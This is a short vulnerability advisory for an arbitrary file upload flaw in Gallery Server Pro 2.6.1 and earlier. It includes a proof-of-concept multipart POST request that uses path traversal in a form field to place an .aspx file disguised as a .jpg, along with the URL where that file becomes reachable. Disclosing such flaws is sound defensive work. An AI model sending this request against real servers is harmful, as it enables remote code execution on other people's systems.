source: https://www.securityfocus.com/bid/59831/info
Gallery Server Pro is prone to a vulnerability that lets attackers upload arbitrary files.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
Gallery Server Pro 2.6.1and prior are vulnerable.*********************************************************************
POST /gallery/gs/handler/upload.ashx?aid=2 HTTP/1.1
Host:<vulnerablesite>
Referer:
http://www.example.com/gallery/default.aspx?g=task_addobjects&aid=2
Content-Length:73459
Content-Type: multipart/form-data;
boundary=---------------------------41184676334
Cookie:<VALID COOKIE DATA>
Pragma: no-cache
Cache-Control: no-cache
-----------------------------41184676334
Content-Disposition: form-data; name="name"..\..\gs\mediaobjects\Samples\malicious.aspx
-----------------------------41184676334
Content-Disposition: form-data; name="file"; filename="malicious.jpg"
Content-Type: application/octet-stream
Malicious code here.-----------------------------41184676334--*********************************************************************
The uploaded file will then be available on the affected server at:
http://www.example.com/gallery/gs/mediaobjects/Samples/malicious.aspx